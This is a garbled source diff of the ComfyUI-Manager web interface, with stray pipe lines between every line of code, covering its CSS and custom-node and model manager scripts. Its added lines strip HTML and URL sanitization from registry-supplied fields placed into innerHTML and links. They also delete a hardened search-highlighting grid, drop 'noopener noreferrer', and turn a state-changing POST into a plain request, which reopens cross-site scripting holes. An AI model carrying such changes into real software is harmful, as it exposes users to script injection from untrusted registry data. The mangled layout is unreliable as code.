new_groupNodes[key] = p.workflow.extra.groupNodes[key];
|
||||
}
|
||||
}
|
||||
p.workflow.extra.groupNodes = new_groupNodes;
|
||||
}
|
||||
}
|
||||
catch(e) {
|
||||
console.log(`Failed to filtering group nodes: ${e}`);
|
||||
}
|
||||
|
||||
return p;
|
||||
}
|
||||
@@ -1,9 +1,8 @@
|
||||
.cn-manager {
|
||||
--grid-font: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";
|
||||
--grid-font: -apple-system, BlinkMacSystemFont, "Segue UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";
|
||||
z-index: 1099;
|
||||
width: 80vw;
|
||||
height: 75vh;
|
||||
min-height: 30em;
|
||||
width: 80%;
|
||||
height: 80%;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 10px;
|
||||
@@ -11,7 +10,6 @@
|
||||
font-family: arial, sans-serif;
|
||||
text-underline-offset: 3px;
|
||||
outline: none;
|
||||
margin: calc(var(--spacing)*2);
|
||||
}
|
||||
|
||||
.cn-manager .cn-flex-auto {
|
||||
@@ -19,21 +17,17 @@
|
||||
}
|
||||
|
||||
.cn-manager button {
|
||||
width: auto;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
font-size: 16px;
|
||||
color: var(--input-text);
|
||||
background-color: var(--comfy-input-bg);
|
||||
border-radius: 8px;
|
||||
border-color: var(--border-color);
|
||||
border-style: solid;
|
||||
margin: 0;
|
||||
padding: 4px 8px;
|
||||
min-width: 100px;
|
||||
}
|
||||
|
||||
.cn-manager button:hover {
|
||||
filter: brightness(125%);
|
||||
}
|
||||
|
||||
.cn-manager button:disabled,
|
||||
.cn-manager input:disabled,
|
||||
.cn-manager select:disabled {
|
||||
@@ -46,13 +40,8 @@
|
||||
|
||||
.cn-manager .cn-manager-restart {
|
||||
display: none;
|
||||
background-color: #500000 !important;
|
||||
border-color: #88181b !important;
|
||||
color: white !important;
|
||||
}
|
||||
|
||||
.cn-manager .cn-manager-restart:hover {
|
||||
background-color: #88181b !important;
|
||||
background-color: #500000;
|
||||
color: white;
|
||||
}
|
||||
|
||||
.cn-manager .cn-manager-stop {
|
||||
@@ -90,6 +79,7 @@
|
||||
flex-wrap: wrap;
|
||||
gap: 5px;
|
||||
align-items: center;
|
||||
padding: 0 5px;
|
||||
}
|
||||
|
||||
.cn-manager-header label {
|
||||
@@ -101,32 +91,16 @@
|
||||
.cn-manager-filter {
|
||||
height: 28px;
|
||||
line-height: 28px;
|
||||
|
||||
cursor: pointer;
|
||||
padding: 0.5em 0.5em;
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 6px;
|
||||
background: var(--comfy-input-bg);
|
||||
}
|
||||
|
||||
.cn-manager-filter:hover {
|
||||
filter: brightness(125%);
|
||||
}
|
||||
|
||||
.cn-manager-keywords {
|
||||
height: 28px;
|
||||
line-height: 28px;
|
||||
padding: 0 5px 0 26px;
|
||||
background: var(--comfy-input-bg);
|
||||
background-size: 16px;
|
||||
background-position: 5px center;
|
||||
background-repeat: no-repeat;
|
||||
background-image: url("data:image/svg+xml;charset=utf8,%3Csvg%20viewBox%3D%220%200%2024%2024%22%20width%3D%22100%25%22%20height%3D%22100%25%22%20pointer-events%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20fill%3D%22none%22%20stroke%3D%22%23888%22%20stroke-linecap%3D%22round%22%20stroke-linejoin%3D%22round%22%20stroke-width%3D%222%22%20d%3D%22m21%2021-4.486-4.494M19%2010.5a8.5%208.5%200%201%201-17%200%208.5%208.5%200%200%201%2017%200%22%2F%3E%3C%2Fsvg%3E");
|
||||
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 6px;
|
||||
|
||||
outline-color: transparent;
|
||||
}
|
||||
|
||||
.cn-manager-status {
|
||||
@@ -614,10 +588,6 @@
|
||||
height: 100%;
|
||||
}
|
||||
|
||||
.cn-install-buttons button {
|
||||
padding: 4px 8px;
|
||||
}
|
||||
|
||||
.cn-selected-buttons {
|
||||
display: flex;
|
||||
gap: 5px;
|
||||
|
||||
@@ -1,39 +1,49 @@
|
||||
import { app } from "../../scripts/app.js";
|
||||
import { ComfyDialog, $el } from "../../scripts/ui.js";
|
||||
import { api } from "../../scripts/api.js";
|
||||
import { buildGuiFrameCustomHeader, createSettingsCombo } from "./comfyui-gui-builder.js";
|
||||
|
||||
import {
|
||||
manager_instance, rebootAPI, install_via_git_url,
|
||||
fetchData, md5, icons, show_message, customConfirm, customAlert, customPrompt,
|
||||
sanitizeHTML, infoToast, showTerminal, setNeedRestart,
|
||||
storeColumnWidth, restoreColumnWidth, getTimeAgo, copyText, loadCss,
|
||||
showPopover, hidePopover, generateUUID, sanitizeUrl
|
||||
showPopover, hidePopover, generateUUID
|
||||
} from "./common.js";
|
||||
|
||||
// Registry titles, names and descriptions are server-escaped; other fields are raw.
|
||||
|
||||
// https://cenfun.github.io/turbogrid/api.html
|
||||
import ManagerGrid from "./manager-grid.js";
|
||||
import TG from "./turbogrid.esm.js";
|
||||
|
||||
loadCss("./custom-nodes-manager.css");
|
||||
|
||||
const gridId = "node";
|
||||
|
||||
const pageHtml = `
|
||||
<div class="cn-manager cn-manager-dark">
|
||||
<div class="cn-manager-grid"></div>
|
||||
<div class="cn-manager-selection"></div>
|
||||
<div class="cn-manager-message"></div>
|
||||
<div class="cn-manager-footer">
|
||||
<button class="cn-manager-restart p-button p-component">Restart</button>
|
||||
<button class="cn-manager-stop p-button p-component">Stop</button>
|
||||
<div class="cn-flex-auto"></div>
|
||||
<button class="cn-manager-used-in-workflow p-button p-component">Used In Workflow</button>
|
||||
<button class="cn-manager-check-update p-button p-component">Check Update</button>
|
||||
<button class="cn-manager-check-missing p-button p-component">Check Missing</button>
|
||||
<button class="cn-manager-install-url p-button p-component">Install via Git URL</button>
|
||||
</div>
|
||||
<div class="cn-manager-header">
|
||||
<label>Filter
|
||||
<select class="cn-manager-filter"></select>
|
||||
</label>
|
||||
<input class="cn-manager-keywords" type="search" placeholder="Search" />
|
||||
<div class="cn-manager-status"></div>
|
||||
<div class="cn-flex-auto"></div>
|
||||
<div class="cn-manager-channel"></div>
|
||||
</div>
|
||||
<div class="cn-manager-grid"></div>
|
||||
<div class="cn-manager-selection"></div>
|
||||
<div class="cn-manager-message"></div>
|
||||
<div class="cn-manager-footer">
|
||||
<button class="cn-manager-back">
|
||||
<svg class="arrow-icon" width="14" height="14" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M2 8H18M2 8L8 2M2 8L8 14" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
|
||||
</svg>
|
||||
Back
|
||||
</button>
|
||||
<button class="cn-manager-restart">Restart</button>
|
||||
<button class="cn-manager-stop">Stop</button>
|
||||
<div class="cn-flex-auto"></div>
|
||||
<button class="cn-manager-used-in-workflow">Used In Workflow</button>
|
||||
<button class="cn-manager-check-update">Check Update</button>
|
||||
<button class="cn-manager-check-missing">Check Missing</button>
|
||||
<button class="cn-manager-install-url">Install via Git URL</button>
|
||||
</div>
|
||||
`;
|
||||
|
||||
@@ -79,26 +89,11 @@ export class CustomNodesManager {
|
||||
}
|
||||
|
||||
init() {
|
||||
const header = $el("div.cn-manager-header.px-2", {}, [
|
||||
// $el("label", {}, [
|
||||
// $el("span", { textContent: "Filter" }),
|
||||
// $el("select.cn-manager-filter")
|
||||
// ]),
|
||||
createSettingsCombo("Filter", $el("select.cn-manager-filter")),
|
||||
$el("input.cn-manager-keywords.p-inputtext.p-component", { type: "search", placeholder: "Search" }),
|
||||
$el("div.cn-manager-status"),
|
||||
$el("div.cn-flex-auto"),
|
||||
$el("div.cn-manager-channel")
|
||||
]);
|
||||
|
||||
const frame = buildGuiFrameCustomHeader(
|
||||
'cn-manager-dialog', // dialog id
|
||||
header, // custom header element
|
||||
pageHtml, // dialog content element
|
||||
this
|
||||
); // send this so we can attach close functions
|
||||
|
||||
this.element = frame;
|
||||
this.element = $el("div", {
|
||||
parent: document.body,
|
||||
className: "comfy-modal cn-manager"
|
||||
});
|
||||
this.element.innerHTML = pageHtml;
|
||||
this.element.setAttribute("tabindex", 0);
|
||||
this.element.focus();
|
||||
|
||||
@@ -365,20 +360,19 @@ export class CustomNodesManager {
|
||||
installGroups.enabled = installGroups.enabled.filter(it => it !== "disable" && it !== "uninstall" && it !== "switch");
|
||||
}
|
||||
|
||||
const list = installGroups[action];
|
||||
let list = installGroups[action];
|
||||
|
||||
if (!Array.isArray(list)) {
|
||||
if(is_selected_button || rowItem?.version === "unknown") {
|
||||
list = list.filter(it => it !== "switch");
|
||||
}
|
||||
|
||||
if (!list) {
|
||||
return "";
|
||||
}
|
||||
|
||||
const shown = (is_selected_button || rowItem?.version === "unknown")
|
||||
? list.filter(it => it !== "switch")
|
||||
: list;
|
||||
|
||||
return shown.map(id => {
|
||||
return list.map(id => {
|
||||
const bt = buttons[id];
|
||||
// `action` is registry-derived and lands in an attribute.
|
||||
return `<button class="cn-btn-${id} p-button p-component" group="${sanitizeHTML(String(action ?? ''))}" mode="${bt.mode}">${bt.label}</button>`;
|
||||
return `<button class="cn-btn-${id}" group="${action}" mode="${bt.mode}">${bt.label}</button>`;
|
||||
}).join("");
|
||||
}
|
||||
|
||||
@@ -465,7 +459,7 @@ export class CustomNodesManager {
|
||||
|
||||
".cn-manager-stop": {
|
||||
click: () => {
|
||||
api.fetchApi('/v2/manager/queue/reset', { method: 'POST' });
|
||||
api.fetchApi('/v2/manager/queue/reset');
|
||||
infoToast('Cancel', 'Remaining tasks will stop after completing the current task.');
|
||||
}
|
||||
},
|
||||
@@ -521,7 +515,7 @@ export class CustomNodesManager {
|
||||
|
||||
initGrid() {
|
||||
const container = this.element.querySelector(".cn-manager-grid");
|
||||
const grid = new ManagerGrid(container);
|
||||
const grid = new TG.Grid(container);
|
||||
this.grid = grid;
|
||||
|
||||
this.flyover = this.createFlyover(container);
|
||||
@@ -582,9 +576,6 @@ export class CustomNodesManager {
|
||||
|
||||
|
||||
grid.setOption({
|
||||
highlightKeywords: {
|
||||
textGenerator: (row, column) => column === 'author' ? sanitizeHTML(String(row[column] ?? '')) : row[column]
|
||||
},
|
||||
theme: 'dark',
|
||||
selectVisible: true,
|
||||
selectMultiple: true,
|
||||
@@ -652,8 +643,7 @@ export class CustomNodesManager {
|
||||
|
||||
let res = await response.json();
|
||||
|
||||
// `title` is server-escaped; `res['msg']` below is raw and is escaped.
|
||||
let title = `<FONT COLOR=GREEN><B>Error message occurred while importing the '${String(rowItem.title ?? '')}' module.</B></FONT><BR><HR><BR>`
|
||||
let title = `<FONT COLOR=GREEN><B>Error message occurred while importing the '${rowItem.title}' module.</B></FONT><BR><HR><BR>`
|
||||
|
||||
if(res.code == 400)
|
||||
{
|
||||
@@ -665,6 +655,7 @@ export class CustomNodesManager {
|
||||
}
|
||||
|
||||
renderGrid() {
|
||||
|
||||
// update theme
|
||||
const globalStyle = window.getComputedStyle(document.body);
|
||||
this.colorVars = {
|
||||
@@ -718,12 +709,11 @@ export class CustomNodesManager {
|
||||
|
||||
const link = document.createElement('a');
|
||||
if(rowItem.originalData.repository)
|
||||
link.href = sanitizeUrl(rowItem.originalData.repository);
|
||||
link.href = rowItem.originalData.repository;
|
||||
else
|
||||
link.href = sanitizeUrl(rowItem.reference);
|
||||
link.href = rowItem.reference;
|
||||
link.target = '_blank';
|
||||
link.rel = 'noopener noreferrer';
|
||||
link.innerHTML = `<b>${String(title ?? '')}</b>`;
|
||||
link.innerHTML = `<b>${title}</b>`;
|
||||
link.title = rowItem.originalData.id;
|
||||
container.appendChild(link);
|
||||
|
||||
@@ -742,11 +732,11 @@ export class CustomNodesManager {
|
||||
}
|
||||
if(rowItem.cnr_latest && version != rowItem.cnr_latest) {
|
||||
if(version == 'nightly') {
|
||||
return `<div>${sanitizeHTML(String(version))}</div><div>[${sanitizeHTML(String(rowItem.cnr_latest))}]</div>`;
|
||||
return `<div>${version}</div><div>[${rowItem.cnr_latest}]</div>`;
|
||||
}
|
||||
return `<div>${sanitizeHTML(String(version))}</div><div>[↑${sanitizeHTML(String(rowItem.cnr_latest))}]</div>`;
|
||||
return `<div>${version}</div><div>[↑${rowItem.cnr_latest}]</div>`;
|
||||
}
|
||||
return sanitizeHTML(String(version));
|
||||
return version;
|
||||
}
|
||||
}, {
|
||||
id: 'action',
|
||||
@@ -785,13 +775,13 @@ export class CustomNodesManager {
|
||||
width: 400,
|
||||
maxWidth: 5000,
|
||||
invisible: !this.hasAlternatives(),
|
||||
classMap: 'cn-pack-desc' // composed HTML; tags are escaped in getAlternatives
|
||||
classMap: 'cn-pack-desc'
|
||||
}, {
|
||||
id: 'description',
|
||||
name: 'Description',
|
||||
width: 400,
|
||||
maxWidth: 5000,
|
||||
classMap: 'cn-pack-desc' // composed HTML from the server (convert_markdown_to_html)
|
||||
classMap: 'cn-pack-desc'
|
||||
}, {
|
||||
id: 'author',
|
||||
name: 'Author',
|
||||
@@ -799,9 +789,9 @@ export class CustomNodesManager {
|
||||
classMap: "cn-pack-author",
|
||||
formatter: (author, rowItem, columnItem) => {
|
||||
if (rowItem.trust) {
|
||||
return `<span tooltip="This author has been active for more than six months in GitHub">✅ ${sanitizeHTML(String(author ?? ''))}</span>`;
|
||||
return `<span tooltip="This author has been active for more than six months in GitHub">✅ ${author}</span>`;
|
||||
}
|
||||
return sanitizeHTML(String(author ?? ''));
|
||||
return author;
|
||||
}
|
||||
}, {
|
||||
id: 'stars',
|
||||
@@ -815,7 +805,7 @@ export class CustomNodesManager {
|
||||
if (typeof stars === 'number') {
|
||||
return stars.toLocaleString();
|
||||
}
|
||||
return sanitizeHTML(String(stars ?? ''));
|
||||
return stars;
|
||||
}
|
||||
}, {
|
||||
id: 'last_update',
|
||||
@@ -830,7 +820,7 @@ export class CustomNodesManager {
|
||||
}
|
||||
const ago = getTimeAgo(last_update);
|
||||
const short = `${last_update}`.split(' ')[0];
|
||||
return `<span tooltip="${ago}">${sanitizeHTML(String(short))}</span>`;
|
||||
return `<span tooltip="${ago}">${short}</span>`;
|
||||
}
|
||||
}];
|
||||
|
||||
@@ -1219,7 +1209,7 @@ export class CustomNodesManager {
|
||||
const rowItem = d.rowItem;
|
||||
const isNotInstalled = rowItem.action == "not-installed";
|
||||
|
||||
let titleHtml = `<div class="cn-nodes-pack" hash="${rowItem.hash}">${String(rowItem.title ?? '')}</div>`;
|
||||
let titleHtml = `<div class="cn-nodes-pack" hash="${rowItem.hash}">${rowItem.title}</div>`;
|
||||
if (isNotInstalled) {
|
||||
titleHtml += '<div class="cn-pack-badge">Not Installed</div>'
|
||||
}
|
||||
@@ -1235,12 +1225,11 @@ export class CustomNodesManager {
|
||||
|
||||
list.push(`<div class="${rowClass}">`);
|
||||
list.push(`<div class="cn-nodes-sn">${i+1}</div>`);
|
||||
// `it.name` is a raw node name from getmappings (not the pack name)
|
||||
list.push(`<div class="cn-nodes-name">${sanitizeHTML(String(it.name ?? ''))}</div>`);
|
||||
list.push(`<div class="cn-nodes-name">${it.name}</div>`);
|
||||
|
||||
if (it.conflicts) {
|
||||
list.push(`<div class="cn-conflicts-list"><div class="cn-nodes-conflict cn-icon">${icons.conflicts}</div><b>Conflict with</b>${it.conflicts.map(c => {
|
||||
return `<div class="cn-nodes-pack" hash="${c.hash}">${String(c.title ?? '')}</div>`;
|
||||
return `<div class="cn-nodes-pack" hash="${c.hash}">${c.title}</div>`;
|
||||
}).join("<b>,</b>")}</div>`);
|
||||
}
|
||||
list.push(`</div>`);
|
||||
@@ -1358,7 +1347,7 @@ export class CustomNodesManager {
|
||||
return;
|
||||
}
|
||||
|
||||
const selectedMap = Object.create(null);
|
||||
const selectedMap = {};
|
||||
selectedList.forEach(item => {
|
||||
let type = item.action;
|
||||
if (item.restart) {
|
||||
@@ -1376,10 +1365,8 @@ export class CustomNodesManager {
|
||||
const list = [];
|
||||
Object.keys(selectedMap).forEach(v => {
|
||||
const filterItem = this.getFilterItem(v);
|
||||
// `v` is a registry-supplied `state`; escape it when no filter label matches.
|
||||
const typeLabel = filterItem ? filterItem.label : sanitizeHTML(String(v ?? ''));
|
||||
list.push(`<div class="cn-selected-buttons">
|
||||
<span>Selected <b>${selectedMap[v].length}</b> ${typeLabel}</span>
|
||||
<span>Selected <b>${selectedMap[v].length}</b> ${filterItem ? filterItem.label : v}</span>
|
||||
${this.grid.hasMask ? "" : this.getActionButtons(v, null, true)}
|
||||
</div>`);
|
||||
});
|
||||
@@ -1477,6 +1464,7 @@ export class CustomNodesManager {
|
||||
target.classList.add("cn-btn-loading");
|
||||
this.showError("");
|
||||
|
||||
let needRestart = false;
|
||||
let errorMsg = "";
|
||||
|
||||
let target_items = [];
|
||||
@@ -1485,13 +1473,13 @@ export class CustomNodesManager {
|
||||
|
||||
for (const hash of list) {
|
||||
const item = this.grid.getRowItemBy("hash", hash);
|
||||
target_items.push(item);
|
||||
|
||||
if (!item) {
|
||||
errorMsg = `Not found custom node: ${sanitizeHTML(String(hash))}`;
|
||||
errorMsg = `Not found custom node: ${hash}`;
|
||||
break;
|
||||
}
|
||||
|
||||
target_items.push(item);
|
||||
this.grid.scrollRowIntoView(item);
|
||||
|
||||
if (!this.focusInstall(item, mode)) {
|
||||
@@ -1548,48 +1536,23 @@ export class CustomNodesManager {
|
||||
this.batch_id = generateUUID();
|
||||
batch['batch_id'] = this.batch_id;
|
||||
|
||||
let failed;
|
||||
try {
|
||||
const { data, error } = await fetchData(`/v2/manager/queue/batch`, {
|
||||
method: 'POST',
|
||||
body: JSON.stringify(batch)
|
||||
});
|
||||
if (error) throw error;
|
||||
if (!Array.isArray(data?.failed)) throw new Error('Invalid batch response.');
|
||||
failed = data.failed;
|
||||
} catch (error) {
|
||||
errorMsg = `Failed to submit installation request: ${sanitizeHTML(String(error))}`;
|
||||
this.showError(errorMsg);
|
||||
show_message("[Installation Errors]\n" + errorMsg);
|
||||
target.classList.remove("cn-btn-loading");
|
||||
this.element.querySelectorAll(".cn-btn-loading").forEach(button => {
|
||||
button.classList.remove("cn-btn-loading");
|
||||
});
|
||||
this.hideLoading();
|
||||
this.hideStop();
|
||||
this.install_context = undefined;
|
||||
return;
|
||||
}
|
||||
for (const id of failed) {
|
||||
const item = target_items.find(item => item.originalData.id === id);
|
||||
errorMsg += `[FAIL] ${item?.title ?? sanitizeHTML(String(id))}\n`;
|
||||
}
|
||||
if (errorMsg) {
|
||||
this.showError(errorMsg);
|
||||
show_message("[Installation Errors]\n" + errorMsg);
|
||||
}
|
||||
const res = await api.fetchApi(`/v2/manager/queue/batch`, {
|
||||
method: 'POST',
|
||||
body: JSON.stringify(batch)
|
||||
});
|
||||
|
||||
showTerminal();
|
||||
let failed = await res.json();
|
||||
|
||||
// No queued work means the server will not send batch-done.
|
||||
if (target_items.every(item => failed.includes(item.originalData.id))) {
|
||||
this.hideLoading();
|
||||
this.hideStop();
|
||||
this.install_context = undefined;
|
||||
return;
|
||||
if(failed.length > 0) {
|
||||
for(let k in failed) {
|
||||
let hash = failed[k];
|
||||
const item = this.grid.getRowItemBy("hash", hash);
|
||||
errorMsg = `[FAIL] ${item.title}`;
|
||||
}
|
||||
}
|
||||
|
||||
this.showStop();
|
||||
showTerminal();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1636,7 +1599,7 @@ export class CustomNodesManager {
|
||||
let v = result[hash];
|
||||
|
||||
if(v != 'success' && v != 'skip')
|
||||
errorMsg += sanitizeHTML(String(v))+'\n';
|
||||
errorMsg += v+'\n';
|
||||
}
|
||||
|
||||
for(let k in self.install_context.targets) {
|
||||
@@ -1754,7 +1717,7 @@ export class CustomNodesManager {
|
||||
if(unresolved_cnr_list.length > 0) {
|
||||
let error_msg = "Failed to find the following ComfyRegistry list.\nThe cache may be outdated, or the nodes may have been removed from ComfyRegistry.<HR>";
|
||||
for(let i in unresolved_cnr_list) {
|
||||
error_msg += '<li>'+sanitizeHTML(String(unresolved_cnr_list[i]))+'</li>';
|
||||
error_msg += '<li>'+unresolved_cnr_list[i]+'</li>';
|
||||
}
|
||||
|
||||
show_message(error_msg);
|
||||
@@ -1804,7 +1767,7 @@ export class CustomNodesManager {
|
||||
this.showStatus(`Loading missing nodes (${mode}) ...`);
|
||||
const res = await fetchData(`/v2/customnode/getmappings?mode=${mode}`);
|
||||
if (res.error) {
|
||||
this.showError(`Failed to get custom node mappings: ${sanitizeHTML(String(res.error))}`);
|
||||
this.showError(`Failed to get custom node mappings: ${res.error}`);
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -1919,7 +1882,7 @@ export class CustomNodesManager {
|
||||
this.showStatus(`Loading alternatives (${mode}) ...`);
|
||||
const res = await fetchData(`/v2/customnode/alternatives?mode=${mode}`);
|
||||
if (res.error) {
|
||||
this.showError(`Failed to get alternatives: ${sanitizeHTML(String(res.error))}`);
|
||||
this.showError(`Failed to get alternatives: ${res.error}`);
|
||||
return [];
|
||||
}
|
||||
|
||||
@@ -1936,7 +1899,7 @@ export class CustomNodesManager {
|
||||
}
|
||||
|
||||
const tags = `${item.tags}`.split(",").map(tag => {
|
||||
return `<div>${sanitizeHTML(tag.trim())}</div>`;
|
||||
return `<div>${tag.trim()}</div>`;
|
||||
}).join("");
|
||||
|
||||
hashMap[custom_node.hash] = {
|
||||
@@ -1983,7 +1946,7 @@ export class CustomNodesManager {
|
||||
this.custom_nodes = node_packs;
|
||||
|
||||
if(this.channel !== 'default') {
|
||||
this.element.querySelector(".cn-manager-channel").innerHTML = `Channel: ${sanitizeHTML(String(this.channel))} (Incomplete list)`;
|
||||
this.element.querySelector(".cn-manager-channel").innerHTML = `Channel: ${this.channel} (Incomplete list)`;
|
||||
}
|
||||
|
||||
for (const k in node_packs) {
|
||||
@@ -2112,7 +2075,6 @@ export class CustomNodesManager {
|
||||
// ===========================================================================================
|
||||
|
||||
showSelection(msg) {
|
||||
// Takes composed HTML (buttons included); ingredients are escaped in renderSelected.
|
||||
this.element.querySelector(".cn-manager-selection").innerHTML = msg;
|
||||
}
|
||||
|
||||
@@ -2120,17 +2082,18 @@ export class CustomNodesManager {
|
||||
this.showMessage(err, "red");
|
||||
}
|
||||
|
||||
// Messages contain HTML: preserve server-escaped names and escape raw values at the caller.
|
||||
showMessage(msg, color) {
|
||||
const element = this.element.querySelector(".cn-manager-message");
|
||||
element.style.color = color || "";
|
||||
element.innerHTML = msg ?? "";
|
||||
if (color) {
|
||||
msg = `<font color="${color}">${msg}</font>`;
|
||||
}
|
||||
this.element.querySelector(".cn-manager-message").innerHTML = msg;
|
||||
}
|
||||
|
||||
showStatus(msg, color) {
|
||||
const element = this.element.querySelector(".cn-manager-status");
|
||||
element.style.color = color || "";
|
||||
element.innerHTML = msg ?? "";
|
||||
if (color) {
|
||||
msg = `<font color="${color}">${msg}</font>`;
|
||||
}
|
||||
this.element.querySelector(".cn-manager-status").innerHTML = msg;
|
||||
}
|
||||
|
||||
showLoading() {
|
||||
|
||||
@@ -1,67 +0,0 @@
|
||||
import { Grid } from "./turbogrid.esm.js";
|
||||
|
||||
// Keep Manager's search hardening outside the vendored TurboGrid bundle.
|
||||
export default class ManagerGrid extends Grid {
|
||||
highlightKeywordsFilter(rowItem, columns, value) {
|
||||
const { textKey, textGenerator, highlightKey } = this.options.highlightKeywords;
|
||||
for (const column of columns) {
|
||||
rowItem[`${highlightKey}${column}`] = null;
|
||||
}
|
||||
const keywords = value ? String(value).trim().toLowerCase().split(/\s+/).filter(Boolean) : [];
|
||||
if (!keywords.length) return true;
|
||||
|
||||
let matched = false;
|
||||
for (const column of columns) {
|
||||
const value = typeof textGenerator === "function" ? textGenerator(rowItem, column) : rowItem[column];
|
||||
if (value === null || value === undefined) continue;
|
||||
let text = String(value).trim();
|
||||
if (!text) continue;
|
||||
const key = `${textKey}${column}`;
|
||||
if (rowItem[key] === null || rowItem[key] === undefined) {
|
||||
// A detached element's innerHTML can still run image handlers.
|
||||
rowItem[key] = new DOMParser().parseFromString(text, "text/html").body.textContent;
|
||||
}
|
||||
text = rowItem[key].toLowerCase();
|
||||
let offset = 0;
|
||||
const found = keywords.every(keyword => {
|
||||
const index = text.indexOf(keyword, offset);
|
||||
if (index === -1) return false;
|
||||
offset = index + keyword.length;
|
||||
return true;
|
||||
});
|
||||
if (found) {
|
||||
rowItem[`${highlightKey}${column}`] = true;
|
||||
this.highlightKeywords = keywords;
|
||||
matched = true;
|
||||
}
|
||||
}
|
||||
return matched;
|
||||
}
|
||||
|
||||
highlightTextNodes(nodes, keywords) {
|
||||
if (!keywords.length) return;
|
||||
let keywordIndex = 0;
|
||||
for (const node of nodes) {
|
||||
const text = node.textContent;
|
||||
const lower = text.toLowerCase();
|
||||
const wrapper = document.createElement("span");
|
||||
let offset = 0;
|
||||
while (offset < text.length) {
|
||||
const keyword = keywords[keywordIndex];
|
||||
const index = lower.indexOf(keyword, offset);
|
||||
if (index === -1) break;
|
||||
wrapper.append(text.slice(offset, index));
|
||||
const mark = document.createElement("mark");
|
||||
mark.textContent = text.slice(index, index + keyword.length);
|
||||
wrapper.append(mark);
|
||||
offset = index + keyword.length;
|
||||
keywordIndex = (keywordIndex + 1) % keywords.length;
|
||||
}
|
||||
if (wrapper.childNodes.length) {
|
||||
// Decoded cell text stays in text nodes, including inside <mark>.
|
||||
wrapper.append(text.slice(offset));
|
||||
node.replaceWith(wrapper);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,15 +1,13 @@
|
||||
.cmm-manager {
|
||||
--grid-font: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";
|
||||
z-index: 1099;
|
||||
width: 80vw;
|
||||
height: 75vh;
|
||||
min-height: 30em;
|
||||
width: 80%;
|
||||
height: 80%;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 10px;
|
||||
color: var(--fg-color);
|
||||
font-family: arial, sans-serif;
|
||||
margin: calc(var(--spacing)*2);
|
||||
}
|
||||
|
||||
.cmm-manager .cmm-flex-auto {
|
||||
@@ -20,15 +18,14 @@
|
||||
font-size: 16px;
|
||||
color: var(--input-text);
|
||||
background-color: var(--comfy-input-bg);
|
||||
border-radius: 8px;
|
||||
border-color: var(--border-color);
|
||||
border-style: solid;
|
||||
margin: 0;
|
||||
padding: 4px 8px;
|
||||
min-width: 100px;
|
||||
}
|
||||
|
||||
.cmm-manager button:hover {
|
||||
filter: brightness(125%);
|
||||
}
|
||||
|
||||
.cmm-manager button:disabled,
|
||||
.cmm-manager input:disabled,
|
||||
.cmm-manager select:disabled {
|
||||
@@ -41,7 +38,7 @@
|
||||
|
||||
.cmm-manager .cmm-manager-refresh {
|
||||
display: none;
|
||||
background-color: #000080 !important;
|
||||
background-color: #000080;
|
||||
color: white;
|
||||
}
|
||||
|
||||
@@ -56,6 +53,7 @@
|
||||
flex-wrap: wrap;
|
||||
gap: 5px;
|
||||
align-items: center;
|
||||
padding: 0 5px;
|
||||
}
|
||||
|
||||
.cmm-manager-header label {
|
||||
@@ -69,34 +67,16 @@
|
||||
.cmm-manager-filter {
|
||||
height: 28px;
|
||||
line-height: 28px;
|
||||
|
||||
cursor: pointer;
|
||||
padding: 0.5em 0.5em;
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 6px;
|
||||
background: var(--comfy-input-bg);
|
||||
}
|
||||
|
||||
.cmm-manager-type:hover,
|
||||
.cmm-manager-base:hover,
|
||||
.cmm-manager-filter:hover {
|
||||
filter: brightness(125%);
|
||||
}
|
||||
|
||||
.cmm-manager-keywords {
|
||||
height: 28px;
|
||||
line-height: 28px;
|
||||
padding: 0 5px 0 26px;
|
||||
background: var(--comfy-input-bg);
|
||||
background-size: 16px;
|
||||
background-position: 5px center;
|
||||
background-repeat: no-repeat;
|
||||
background-image: url("data:image/svg+xml;charset=utf8,%3Csvg%20viewBox%3D%220%200%2024%2024%22%20width%3D%22100%25%22%20height%3D%22100%25%22%20pointer-events%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20fill%3D%22none%22%20stroke%3D%22%23888%22%20stroke-linecap%3D%22round%22%20stroke-linejoin%3D%22round%22%20stroke-width%3D%222%22%20d%3D%22m21%2021-4.486-4.494M19%2010.5a8.5%208.5%200%201%201-17%200%208.5%208.5%200%200%201%2017%200%22%2F%3E%3C%2Fsvg%3E");
|
||||
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 6px;
|
||||
|
||||
outline-color: transparent;
|
||||
}
|
||||
|
||||
.cmm-manager-status {
|
||||
@@ -168,10 +148,6 @@
|
||||
color: white;
|
||||
}
|
||||
|
||||
.cmm-btn-install {
|
||||
padding: 4px 8px;
|
||||
}
|
||||
|
||||
.cmm-btn-download {
|
||||
width: 18px;
|
||||
height: 18px;
|
||||
|
||||
+127
-120
@@ -3,33 +3,45 @@ import { $el } from "../../scripts/ui.js";
|
||||
import {
|
||||
manager_instance, rebootAPI,
|
||||
fetchData, md5, icons, show_message, customAlert, infoToast, showTerminal,
|
||||
storeColumnWidth, restoreColumnWidth, loadCss, generateUUID,
|
||||
sanitizeHTML, sanitizeUrl
|
||||
storeColumnWidth, restoreColumnWidth, loadCss, generateUUID
|
||||
} from "./common.js";
|
||||
|
||||
// Model names and descriptions are server-escaped; other fields are raw.
|
||||
|
||||
import { api } from "../../scripts/api.js";
|
||||
|
||||
// https://cenfun.github.io/turbogrid/api.html
|
||||
import ManagerGrid from "./manager-grid.js";
